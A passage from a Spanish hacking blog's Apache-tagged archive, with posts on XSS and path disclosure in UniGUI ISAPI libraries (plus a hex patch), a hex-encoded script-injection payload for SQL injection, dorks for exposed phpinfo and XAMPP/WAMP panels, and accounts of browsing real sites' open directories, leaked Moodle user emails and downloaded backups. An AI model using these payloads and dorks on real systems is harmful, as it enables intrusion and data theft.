Descubre 4n4lDetector Pro y Pescan.io

Analiza archivos de forma avanzada con 4n4lDetector Pro y prueba la versión online en Pescan.io. Todo desde tu navegador o tu escritorio.

Intelligent String para priorizar IOCs útiles, heurísticas de flujo anómalo, generación de reglas YARA con un clic, carving de encabezados PE, y detección de firmas Microsoft manipuladas. Compatible con 32/64-bit y formatos comunes (.exe, .dll, .sys, .ocx, .scr, .drv, .cpl). Funciona desde cualquier navegador o en tu escritorio con CLI, GUI y plataforma web integrada. Incluye hash intelligence, gamificación interna, Interest Words, y más de 10,000 reglas para detección avanzada de malware.

Mostrando entradas con la etiqueta Apache. Mostrar todas las entradas
Mostrando entradas con la etiqueta Apache. Mostrar todas las entradas

viernes, 6 de abril de 2012

El típico 404... ¿o no?


¡Empiezo a pensar que me estoy volviendo loco! Mientras todos mis amigos están preparando el ritual del Viernes Santo... que si los hielos en casa del Pablo porque en la mía incomodan, que si nos acercamos al “Ahorra Más” por la tarde, porque ir al chino a por alcohol debería llamarse “Ahorra Menos”, que si llamamos a las chiquichuelas y las invitamos, el truco del paganinis ayuda a culminar lo que nos ahorramos en el Ron...¡ya saben! ¡Las preocupaciones típicas de los chavales de 23! ¿Y yo? Aquí estoy enelpc, contando lo que todo el mundo sabe, errores 404... ¡vaya cosa!

Y es que cada uno vive la semana santa a su manera, unos utilizan palabras violentas para lastimar a los seguidores del palo cruzado y otros simplemente ponemos comillas, porque sabemos que las palabras las borra el viento.

Si recuerdan mi anterior entrada sobre los errores de acceso denegado (403), que controlaban de forma automática las librerías exportadas desde el Framework de UniGUI, me sumo un “+1” en esta nueva publicación, pues vengo a contar la misma mi**da pero de distinto color... ¡Sí! ¡Los 404!

Resulta que se pasan de interesantes estas librerías ISAPI corriendo en Apache, ya que en ISS el control de errores viene de parte del servidor, con lo que no podremos explotar la vulnerabilidad. Es sencillamente irritante dicho control de errores, ya que todos sabemos que si inventamos un nombre de fichero en una URL cualquiera, deberíamos de llegar al ansiado 404.

Image


¡Pero no! Deberemos de forzarlo hasta dar con lo que “para la aplicación”, es un auténtico 404.

Image

Hasta aquí todo normal... un Full Path Disclosure, pero eso es arenilla...

Si pruebo a inyectar HTML detrás del nombre del archivo, nos encontraremos con la redirección a un error 403, que siendo igualmente vulnerable hasta la fecha, no es el objetivo de la entrada, así que vamos a intentar sacar el 404 inyectándolo al principio, dejando la inyección de forma inocua a la librería.

Image

Parece que funciona, probaré un Iframe en Chrome...


Image

Y de paso un Script en Firefox...

Image

Por curiosidad, se me ocurrió abrir como hice anteriormente, el ejecutable con Hex WorkShop y a escasos milímetros se encontraba el error 404 ¡y yo sin darme cuenta en la anterior entrada! me da a mi que todavía hay mucha chicha que sacarle a este FrameWork en cuestión seguridad.

Image

Para esta versión no he desarrollado parche ¡y es que tengo prisa! ¡ahora sí que me voy de fiesta!

Saludos 4n4les! ;)

martes, 31 de enero de 2012

De fiesta con UniGUI Framework

Esta que vengo a contar, es una de esas historias que me llenan de ganas de publicar, junto al pequeño hilo que se escapa de felicidad, después de lograr algo que nos parece interesante, no cuanto menos de mostrar.

Para deleite de programadores en Delphi tirando a ser muy curiosos, va más bien encaminada la entrada. Esta vez tocaremos un poco de todo, seguridad web, desde Cross Site Scripting hasta Full Path Disclosure, pasando por edición de binarios en hexadecimal, acortadores URL y un par de softwares de regalo en mi querido Visual Basic 6 y ensamblador.

Hasta hace bien poco, un nuevo concepto de desarrollo web se cruzó por mi camino, gracias a un compañero de trabajo, era el llamado UniGUI Framework. Destinado en exclusiva, para dar opción a desarrolladores que trabajan con Delphi, de poder diseñar proyectos destinados a aplicaciones web. El Framework entre otras funciones de publicación, trae la de exportar el proyecto a librerías DLL para su integración en ISS o Apache mediante Mod ISAPI.

¿Y como no? ¡Tenía que reventarlo!

Así que cargando mis jeringuillas de sustancias psicotrópicas, me topé con un Cross Site Scripting, en el control de errores que trae de forma interna la aplicación y aunque no vean el típico mensaje de alert, observen bien la imagen, pues podemos llamarle Blind-XSS.

Image

Cualquier URL agregada de forma externa por un atacante, o interna por el propio programador en el código de la librería, se adjunta a la ruta actual y prescinde del protocolo, en el cual se realizan las peticiones.

¿Por qué ocurre esto? ¡Muy simple! La librería se encarga de filtrar los slashes modificándolos por barras invertidas. Esto quiere decir que el Cross Site Scripting existe y es explotable, pero su margen de acción, se ve reducido para ataques externos, a no ser que logremos bypassearlo.

Detrás de “Access denied”, encontramos ese Full Path Disclosure tan llamativo, que muestra la letra de la unidad y el tipo de servidor que utilizo ¡Genial más datos para realizar un ataque!

Después de hacer pruebas con diferentes navegadores y ver su eficiencia ;) , lo que más asombro me causó, es lo que os muestro en la siguiente captura.

Image

¡Google Chrome se lleva la palma! Así que él solito, fuerza la petición y muestra el enlace corregido. Por si alguno no se había dado cuenta, el servidor de Bit.ly trabaja con un certificado firmado por una autoridad certificadora, con lo que podremos explotar la vulnerabilidad mediante protocolo seguro, pudiendo así, visitar cualquier página sin restricciones.

Podremos incluir un IFRAME sin ningún tipo de problema, gracias al Bypass de Google Chrome y el certificado de Bit.ly, para no sé... ¿visitar enelpc?
Image

O echarle imaginación, y tirar de onMouseOver para jugar en Firefox a ser hackers malos.

Image

Pero nosotros somos buenos ¿verdad? Y queremos corregir vulnerabilidades a toda costa, así que como ya reporté con anterioridad el fallo al foro de UniGUI y no me hicieron ni p*** caso, decidí armarme de valor y buscar entre las strings en hexadecimal del binario, para ver de que forma podría contrarrestar el dichoso ataque.

Image

El HTML que muestra la ruta y la unidad de disco, se muestra mediante una llamada a una variable de tipo string, la cual en caso de contener un valor añadido no alfabético, por ejemplo un número o símbolo en la URL, busca la nueva ruta y si no la encuentra, terminamos con el aviso de acceso denegado en pantalla.
Image

La enfermedad debía de venir acompañada de la cura, y ya que encontré la variable, no me quedó otra que suprimirla de forma definitiva del control de errores, así que un par de Offsets en 00, corregían ambas vulnerabilidades y me daban pie a sacar un nuevo proyecto en VB6. El parche muestra en hexadecimal, la opción de seleccionar los caracteres y la localización en el binario a modificar, más de un avispado le habrá sacado similitud a un AVFucker, ya que si lo desean también puede hacerse con tal función.

Image

Ya que dependiendo de la versión de UniGUI y del proyecto, la ubicación del valor vulnerable puede cambiar, me armé una opción más simple programada en ensamblador y compilada con MASM. Gracias a un código similar de diablo2oo2, que modifica ambos Offsets y corrige la vulnerabilidad para todas sus versiones, buscando una cadena exclusiva de este tipo de binarios, logré modificarlo.


El resultado a la inyección, sería el siguiente:

Image

Ahora sí, reportaré al equipo de desarrollo, algo que posiblemente les haga ver lo que planteé anteriomente de forma más clara... ¿Qué loco iba a corregir un XSS con un editor hexadecimal?

Saludos 4n4les! ;)

jueves, 14 de abril de 2011

Inyectando GIE desde local.

Mientras más de uno se enganchaba a inyectarse cualquier cosa en donde no debía, llegó una nueva droga de último diseño, el GIE nos hacía a todos la vida más fácil, aunque como toda droga esta también nos crea una dependencia hasta tal punto que sin ella nos sentíamos totalmente inútiles, llamémosle mono sí.

Como se explicó anteriormente, este código javascript está alojado en un servidor al que hace la llamada para ejecutarse cuando lo utilizábamos sobre un campo imprimible en pantalla, resultante de una inyección SQL.

¿Qué pasa si GIE no está en la ruta de la web a la que llama? Fácil... ¡Qué no funciona!


Image

Gracias a que su autor, dejó una copia del código fuente en Paste2, podremos generar nuestro propio código GIE montando un pequeño servidor en local e incluso subiendo el archivo a un servidor externo. Por mi comodidad, tengo instalado en local un servidor Xampp para este tipo de pruebas, así que copié el código en un archivo y lo dejé en la ruta raiz de mi localhost.


Image


Para hacer la comprobación de que Apache está funcionando sin problemas, nada mejor que levantar servicios, dirigirnos a localhost junto al nombre del archivo para ver si se muestra.


Image


Tendremos que empezar a crear nuestro código para la inyección, así que nada mejor que introducir nuestra URL en un tag <script> para invocar la llamada.

<script src='http://localhost/gie.js'/>

Para que nuestro archivo se interprete en pantalla, tendremos que pasarlo a hexadecimal y ejecutarlo, así que iremos a cualquier herramienta online que nos convierta el código.


Image


Copiamos la retahíla de códigos y la acomodamos para que se ejecute como la tira de codes creada por PonyMagic.

((0x3c736372697074207372633d27687474703a2f2f6c6f63616c686f73742f6769652e6a73272f3e))


Nos vamos a una web vulnerable que tengamos entre ceja y ceja y probamos nuestro código.


Image


¡Funcionando! ¡Así nadie tiene escusa para dejar la drogra!

Saludos 4n4les! ;)

viernes, 4 de marzo de 2011

Monto un circo y me crecen los enanos

No encontré mejor título que este para describir el siguiente acontecimiento, pues es sentarme en la silla tirar el anzuelo y esperar hasta que pezco algo interesante. Mientras buscaba cursos Online para comparar las iniciativas y cosas chulas que se montan en otros centros, llegué hasta la web de un colegio con algún que otro cursillo de informática.


Image


Lástima que solo te dejan acceder hasta donde vemos con la cuenta de invitado, ya que las llaves que aparecen a la derecha de la anterior imagen, indican que no son públicos.

Si pinchamos en uno de estos enlaces nos llevará al panel de acceso.


Image


Ya que no tengo el usuario y contraseña puedo optar a irme o a curiosear, creo que todo el mundo sabe que es lo que haré.

¡Pues sí! ¡Voy a echarle un ojo a los directorios! Para ello copiaré la ruta de cualquier imagen, en mi caso la interrogación a ver si me soluciona mi problema.


Image


Lo pegaré en la url del navegador borrando el nombre para ver si no está prohibido el listado de archivos en el servidor.


Image


¡Bah! ¡Me aburro! Me iré a otra web a perder el tiempo... ¿Adivinan cual es mi web preferida?

Como comenté anteriormente, los cursos montados en Moodle suelen tener el archivo de Cron.php bastante desprotegido, y ya que soy un curiosillo, se me ocurrió mirar tirando un poco de Google Hacking.


Image


Me llamó la atención que fuera otro subdominio diferente al de cursos el que encontraron las arañas de Google. Ya que estamos, vamos a apretar el botón del ratón y meternos en su Cron ¿no?


Image


Casi asusta ver un servidor intentando enviar un mail por SMTP a los usuarios de toda su base de datos sin tenerlo configurado, obviamente Cron que es muy amable con el administrador y CIA, nos mostrará el número de usuario de la base de datos junto con su email dentro del listado de errores.

Pensemos... Quiero entrar al curso, tengo todas las direcciones de correo de la base de datos ¿Les envío un troyano a todos? ¡Alguno caerá! 

En el fondo soy bueno y sabemos que eso ya es pasarse de la raya, así que intentemos tener los contenidos con otros métodos más suaves.

Me llamó la atención que un script que puede ejecutar cualquiera, pueda eliminar backups a la ligera, pero bueno ese es otro tema.


Image


Sin duda es el Cron que más tiempo duró ejecutándose hasta finalizar que vi en mi vida, si se llega a pasar el terremoto Anonymous con sus Ddos, la Ram del servidor termina fundiendose.

Image

Puesto a seguir investigando, me dio por ver si Apache tenía oculto el listado de directorios o con prohibición como en el anterior subdominio y esta fue mi sorpresa.


Image


¿Ahora sí puedo verlos? Wtf!

Mientras paseaba por la raíz del curso me encontré con la sorpresa de una carpeta, Backups sin ni tan siquiera un .htpasswd que me impida entrar. Sería irresistible encontrarse alguna copia de seguridad llena de material didáctico... mmmmmm ¡No me miren así! ¡Hay que disfrutar de los placeres de la lectura también!


Image


Dejando a un lado la cuenta pirata de Megaporn, me da que voy a bajarme los temarios.


Image


A ver si con suerte en las fotos de los perfiles, me encuentro alguna chica guapa sin la necesidad de pedirle el msn... ¡porque creo que ya lo tengo! ;)


Saludos 4n4les!

lunes, 14 de febrero de 2011

Abriendo la brecha desde PhpInfo


En la anterior entrada, vimos como dar con archivos sensibles en sistemas Unix, en esta iremos directamente a los ficheros de información PHPInfo, donde se delatan versiones del sistema operativo, opciones de instalación, rutas de directorios e incluso el nivel de seguridad del que está dotado la versión de PHP que corre en el servidor.

¿Como me iba a olvidar de mi compañero de batalla Google? De paso, preparé unos dorks para salir de caza a ver si caía alguna gorda que emborrachar por el camino.

Utilizando el típico inurl:"phpinfo.php" encontraremos el fichero multiplicado por toda la red.


Image


Pero... ¿Y si queremos objetivos más concretos?

Pues bien, no sé si recuerdan esas famosas herramientas que recolectan en un pequeño Pack de aplicaciones PHP, Apache, MySQL y varios complementos administrativos que facilitan el acceso con un panel de control a todas las zonas importantes del servidor. Hablo de las suits de Wamp o Xampp entre otras.

Para estas, me cree un par de dorks bastante útiles para la búsqueda de estos paneles y pues bien aunque estén ocultos daremos con ellos tirándo del hilo de PHPInfo.

Wamp, muestra la información de PHPInfo pasándole una variable al index del panel de control de este, así que si utilizamos la búsqueda avanzada siguiente podremos dar con los paneles.


Aparecerán un listado de webs vulnerables con el PHPInfo escupiendo toda la información sensible del servidor, ahora borremos de la URL la variable.


Image


¡No está mal! tenemos en pantalla lo mismo que tiene el admin, nos saltamos el paso del fuzzer con sus búsquedas por fuerza bruta de los directorios de acceso a las bases de datos. En la imagen  anterior, incluso aparecen los backups, una carpeta que suele estar siempre desprotegida aunque con los mismos archivos que se intentan proteger (la pescadilla que se muerde la cola).


Ahora le tocó el turno a Xampp, otro dork para la búsqueda de sus paneles de administración.


Ya puestos a publicar todos nuestros datos sensibles, sin ningún remordimiento encontramos administradores que se agarran al movimiento de Wikileaks y ¡ale! Dejemos también MySQL de par en par... ¡si total lo paga el jefe!


Image


¿De verdad a alguien le importa esto? Pues nada busquemos por cadenas también, un dork para los amantes del RFI.



Image


Ya saben, si encuentran la directiva en “On”, se puede dar la vulnerabilidad para subir una shell al server.

Para los amantes del modo INseguro de sus servidores, desde Google pueden ver también las directivas de Safe Mode, por si tenían dudas de que métodos implementar para llevar un ataque.




Image



Espero que se porten bien, aporten y aprendan pero sobre todo, no machaquen mucho presionando teclas.

Saludos 4n4les!

miércoles, 26 de enero de 2011

Ellas me persiguen

Para que mujeres no volviesen a poner en duda la capacidad en los hombres, de lograr hacer dos cosas a la vez, nació esta entrada. Resulta que instintivamente, tengo el don de perderme por Internet mientras realizo una llamada telefónica dando soporte técnico, casi se me nubla la vista empuñando el ratón poseído por mis dotes ocultas en las que aveces no llego a ninguna parte, otras termino en un 404 e ilógicamente otras, acabo teniendo el control de todo un servidor sin previo aviso.

¡Fuera dorks! no hicieron falta esta vez para encontrar la puerta trasera, inexplicablemente me dejé caer sobre la Asociación de Sordos de Madrid para que la vulnerabilidad me encontrase a mi.


Image


En la que por pura curiosidad, miré la ruta de la imagen que tienen en portada con el título CONFERENCIA “SEXUALIDAD PARA JÓVENES: Viviendo el sexo y la erótica”. Sí, todo una casualidad ;)


Image


Me fijé mientras soltaba mi sermón a la persona que tenía al otro lado del teléfono, que Apache no evitaba el listado de directorios, tan simple de solucionar como un "Options -Indexes", así que me encontré con esto mientras revoloteaba con el scroll para todos lados.


Image


Ya me daba mala espina un PHP en medio de la carpeta Uploads, donde lo máximo que se suelen encontrar son contenidos multimedia, sin pensarlo presioné a ver donde me llevaba.




¿Ya está? Imagínense como me quedé yo también. Más fácil hubiera sido publicar el enlace en el Index de la entrada. Una señora Shell subida con File Manager, Consola, Información de la seguridad habilitada en el servidor, incluso la función para hacer ataques de fuerza bruta interna.

Al salir, vi un buscador y como están de moda, no pude contener las ganas de probar un alert, para bueno ya saben... el tema de seguir publicitando y eso.


Image


Las vulnerabilidades con las que me topé en esos 5 minutos ya fueron reportadas, no sé si corregidas aunque seguro encuentran más si uno se pone en serio.

Saludos 4n4les!